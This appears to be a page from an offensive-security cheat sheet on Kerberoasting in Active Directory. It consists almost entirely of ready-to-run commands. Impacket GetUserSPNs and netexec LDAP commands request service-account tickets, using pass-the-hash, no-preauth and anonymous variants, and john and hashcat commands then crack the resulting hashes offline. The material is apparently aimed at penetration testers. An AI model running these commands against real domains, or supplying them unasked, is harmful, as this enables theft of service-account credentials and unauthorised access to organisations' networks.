Kerberoasting Attack
Basic Attack
impacket-GetUserSPNs -hashes <lmhash>:<nthash> example.local/username -outputfile hashes.txt
# Without pre-authentication
# -no-preauth: https://github.com/SecureAuthCorp/impacket/pull/1413
impacket-GetUserSPNs -no-preauth username -usersfile users.txt -dc-host <ip-or-host> example.local/
netexec ldap <target-ip> -u username -p password --kerberoasting output.txt
netexec ldap <target-ip> -k --kerberoasting output.txt
netexec ldap <target-ip> -u '' -p '' --kerberoasting output.txtjohn --format=krb5tgs --wordlist=wordlist.txt hash.txt
# or
hashcat -m 13100 -a 0 hash.txt wordlist.txt
# or
hashcat -m 19600 -a 0 hash.txt wordlist.txt
# or
hashcat -m 19700 -a 0 hash.txt wordlist.txtGet Hashes with TargetedKerberoast
References
PreviousDACL (Discretionary Access Control List) AttackNextRBCD (Resource-Based Constrained Delegation) Attack
Last updated